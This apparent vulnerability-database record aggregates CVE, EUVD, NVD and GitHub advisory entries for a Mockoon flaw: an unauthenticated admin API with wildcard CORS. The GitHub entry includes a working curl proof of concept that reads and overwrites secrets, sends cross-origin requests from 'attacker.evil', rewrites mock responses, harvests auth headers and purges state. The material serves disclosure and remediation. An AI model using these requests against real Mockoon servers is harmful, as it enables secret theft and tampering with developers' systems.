{"id":"GHSA-rqx4-3f6q-3x2v","revision":null,"records":[{"revision":"88ec5879f315418abbbef320a2e6e035","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-59148","aliases":[],"title":"Mockoon: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon's admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes, serves Access-Control-Allow-Origin: * with write methods allowed, and has no authentication. Any unauthenticated caller who can reach the mock server port can read MOCKOON_* environment variables, write arbitrary process environment variables through /mockoon-admin/env-vars, rewrite mock route bodies, statuses, and headers through PUT /mockoon-admin/environment, read transaction logs and SSE streams, and purge state. This issue is fixed in version 9.7.0.","state":0,"publishedAt":"2026-07-09T18:27:18.579+00:00","modifiedAt":"2026-07-09T19:24:49.203+00:00","affected":[{"ecosystem":"Vendor product","name":"mockoon","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"mockoon\",\n                    \"product\": \"mockoon\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 9.7.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v","https://github.com/mockoon/mockoon/pull/2254","https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59148","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-59148","identifiers":["CVE-2026-59148"]},"retained":false,"historicalAffected":[]},{"revision":"ab598275d50640ebb0d336b9caff48d1","observedAt":"2026-11-13T16:01:56.258+00:00","statement":{"source":"euvd","id":"EUVD-2026-42683","aliases":["CVE-2026-59148","GHSA-rqx4-3f6q-3x2v"],"title":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon's admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes…","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon's admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes, serves Access-Control-Allow-Origin: * with write methods allowed, and has no authentication. Any unauthenticated caller who can reach the mock server port can read MOCKOON_* environment variables, write arbitrary process environment variables through /mockoon-admin/env-vars, rewrite mock route bodies, statuses, and headers through PUT /mockoon-admin/environment, read transaction logs and SSE streams, and purge state. This issue is fixed in version 9.7.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v","https://github.com/mockoon/mockoon/pull/2254","https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42683","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 9, 2026, 6:27:18 PM","dateUpdated":"Jul 9, 2026, 7:24:49 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42683","identifiers":["EUVD-2026-42683","CVE-2026-59148","GHSA-rqx4-3f6q-3x2v"]},"retained":false,"historicalAffected":[]},{"revision":"1138c60651ef49ff99ab19cac50a3702","observedAt":"2026-10-25T14:19:16.843+00:00","statement":{"source":"nvd","id":"CVE-2026-59148","aliases":[],"title":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon's admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes…","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon's admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes, serves Access-Control-Allow-Origin: * with write methods allowed, and has no authentication. Any unauthenticated caller who can reach the mock server port can read MOCKOON_* environment variables, write arbitrary process environment variables through /mockoon-admin/env-vars, rewrite mock route bodies, statuses, and headers through PUT /mockoon-admin/environment, read transaction logs and SSE streams, and purge state. This issue is fixed in version 9.7.0.","state":0,"publishedAt":"2026-07-09T19:17:07.067+00:00","modifiedAt":"2026-07-10T19:15:15.78+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299","https://github.com/mockoon/mockoon/pull/2254","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59148","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-306","CWE-352","CWE-732","CWE-942"],"productCriteria":[],"sourceDates":{"published":"2026-07-09T19:17:07.067","lastModified":"2026-07-10T19:15:15.780"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59148","identifiers":["CVE-2026-59148"]},"retained":false,"historicalAffected":[]},{"revision":"70dce27ecd9e47038ceb8977e8896596","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-rqx4-3f6q-3x2v","aliases":["CVE-2026-59148"],"title":"@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft","description":"## Summary\n\nMockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits).\n\nAny unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can:\n\n- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).\n- **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.\n- **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.\n- Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).\n- Read/write global template vars; purge state / data buckets / logs.\n\nBecause of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.\n\n---\n\n## Details\n\n### Root cause\n\n`packages/commons-server/src/libs/server/server.ts:127`:\n\n```ts\nprivate options: ServerOptions = {\n  ...,\n  enableAdminApi: true,        // ← default on\n};\n```\n\n`packages/cli/src/commands/start.ts:200`:\n\n```ts\nenableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed\n```\n\n`packages/serverless/src/libs/serverless.ts:21`:\n\n```ts\nenableAdminApi: true,          // ← default on, no flag to disable in the constructor\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):\n\n```ts\napp.use(`${adminApiPrefix}*`, (req, res, next) => {\n  res.setHeaders(\n    new Headers({\n      'Access-Control-Allow-Origin': '*',\n      'Access-Control-Allow-Methods':\n        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',\n      'Access-Control-Allow-Headers':\n        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'\n    })\n  );\n  next();\n});\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):\n\n```ts\nconst setEnvVarHandler = (req, res) => {\n  try {\n    const { key, value } = req.body;\n    if (key !== undefined && value !== undefined) {\n      process.env[key] = value;                            // ← any process env, any value\n      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });\n    } else {\n      throw new Error('Key or value missing from request');\n    }\n  } catch (_error) {\n    res.status(400).send({ message: 'Invalid request' });\n  }\n};\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite):\n\n```ts\napp.put(`${adminApiPrefix}/environment`, (req, res) => {\n  try {\n    const environment: Environment = EnvironmentSchema.validate(req.body).value;\n    if (!environment) {\n      res.status(400).send({ message: 'Invalid environment format' });\n      return;\n    }\n    updateEnvironment(environment);                        // ← runtime mutation of every route response\n    res.send({ message: 'Environment updated' });\n  } catch (_error) {\n    res.status(400).send({ message: 'Invalid environment format' });\n  }\n});\n```\n\nDefault `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`.\n\n---\n\n## PoC\n\n### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)\n\n`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with:\n\n```\nMOCKOON_API_KEY=\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\" \\\n  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file\n```\n\nBind confirmed via `lsof`:\n\n```\nCOMMAND  PID    USER  FD  TYPE  ...  NAME\nnode    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces\n```\n\nBaseline mock response:\n\n```\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 1) Read operator secret unauth\n\n```\n$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\n{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 2) Poison operator secret unauth → downstream consumer ingests attacker value\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-POISONED-BY-ATTACKER\"}'\n{\"message\":\"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'\"}\n\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-POISONED-BY-ATTACKER\"}\n```\n\n#### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"key\":\"AWS_SECRET_ACCESS_KEY\",\"value\":\"overwritten-by-attacker\"}'\n{\"message\":\"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'\"}\n```\n\n#### 4) Cross-origin CSRF from `https://attacker.evil`\n\n```\n$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Access-Control-Request-Method: POST\" \\\n    -H \"Access-Control-Request-Headers: Content-Type\"\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\nAccess-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\n\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-EXFIL-FROM-attacker.evil\"}'\n{\"message\":\"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'\"}\n```\n\nWildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.\n\n#### 5) Rewrite every mock route via unauth `PUT /environment`\n\n```\n$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{ ...full env JSON with route response rewritten to body \"ATTACKER_PWNED\",\n          statusCode 418, header X-Pwned: by-attacker.evil... }'\n{\"message\":\"Environment updated\"}\n\n$ curl -s -i http://127.0.0.1:3100/users/99\nHTTP/1.1 418 I'm a Teapot\nX-Pwned: by-attacker.evil\nContent-Type: application/json\n{\"id\":\"99\",\"name\":\"ATTACKER_PWNED\",\"role\":\"admin\",\"backdoor\":true}\n```\n\n#### 6) Read transaction logs / SSE stream → harvest consumer's auth headers\n\n```\n$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2\n```\n\nEach log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE.\n\n#### 7) Purge state (DoS)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge\n{\"response\":\"Server has been reset to its initial state\"}\n```\n\n---\n\n## Impact\n\nIn typical local-dev mode (CVSS 8.8 High):\n\n- Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets).\n- Secret write to any `process.env` key — poison operator's secrets, swap AWS/SDK creds.\n- Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).\n- Auth-token harvesting via transaction logs / SSE stream.\n- State purge / DoS.\n\nIn network-exposed deployment (CVSS 9.4 Critical):\n\n- All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments.\n\n---\n\n## Suggested fix\n\n1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`.\n2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`.\n3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.\n4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler — reject any `key` that doesn't start with `envVarsPrefix`.\n5. Add `SECURITY.md` with disclosure instructions.\n6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.","state":0,"publishedAt":"2026-09-11T22:04:42+00:00","modifiedAt":"2026-09-11T22:15:03.9908816+00:00","affected":[{"ecosystem":"npm","name":"@mockoon/commons-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.7.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@mockoon/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.7.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v","https://nvd.nist.gov/vuln/detail/CVE-2026-59148","https://github.com/mockoon/mockoon/pull/2254","https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299","https://github.com/mockoon/mockoon","https://github.com/mockoon/mockoon/releases/tag/v9.7.0","https://mockoon.com/releases/9.7.0"],"sourceUrl":"https://github.com/advisories/GHSA-rqx4-3f6q-3x2v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rqx4-3f6q-3x2v","identifiers":["GHSA-rqx4-3f6q-3x2v","CVE-2026-59148"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T18:01:05.5413022+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T18:01:05.5413022+00:00","lastSuccessAt":"2026-11-13T18:01:05.7729339+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.7729352+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-ccaf70881389a6dde5b6a56695261f5e99c3b78e7d92f29b689b3669ccc7d293","complete":true,"records":425536,"lastAttemptAt":"2026-11-13T17:57:15.2133348+00:00","lastSuccessAt":"2026-11-13T17:57:14.9138678+00:00","error":null,"lastVerifiedAt":"2026-11-13T17:57:15.2133348+00:00","snapshotPublishedAt":"2026-11-13T17:24:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0935ecd52e0a4dcba231eb8eac2a06d0","complete":false,"records":13797,"lastAttemptAt":"2026-11-13T18:11:36.7102949+00:00","lastSuccessAt":"2026-11-13T18:11:36.702+00:00","error":"824 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T18:11:36.702+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":12620,"expectedIdentifiers":13850,"failedIdentifiers":824},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T18:01:05.5413022+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T18:01:05.5413022+00:00","lastSuccessAt":"2026-11-13T18:01:05.7779306+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.7779313+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-32661fdb309e42beb400bdb9ba8a1124","complete":true,"records":13797,"lastAttemptAt":"2026-11-13T18:01:41.4058929+00:00","lastSuccessAt":"2026-11-13T18:01:41.402+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:41.402+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13850,"expectedIdentifiers":13850,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T18:01:05.3922026+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.3922026+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T17:57:15.3850684+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T17:57:15.3850684+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f7b4a39cba128839548000e6d1d86fef7e48dd6f19f8e345c343f4aa28de8b91","complete":true,"records":3146,"lastAttemptAt":"2026-11-13T18:01:05.4945949+00:00","lastSuccessAt":"2026-11-13T15:58:45.7257812+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.4945949+00:00","snapshotPublishedAt":"2026-11-13T15:48:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e36c3f641409a47745aac9a2b2ecb0fdf427f10ad1cc88f2e02065e57108d794","complete":true,"records":231780,"lastAttemptAt":"2026-11-13T18:01:05.257177+00:00","lastSuccessAt":"2026-11-13T18:01:03.35099+00:00","error":null,"lastVerifiedAt":"2026-11-13T18:01:05.257177+00:00","snapshotPublishedAt":"2026-11-13T17:33:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}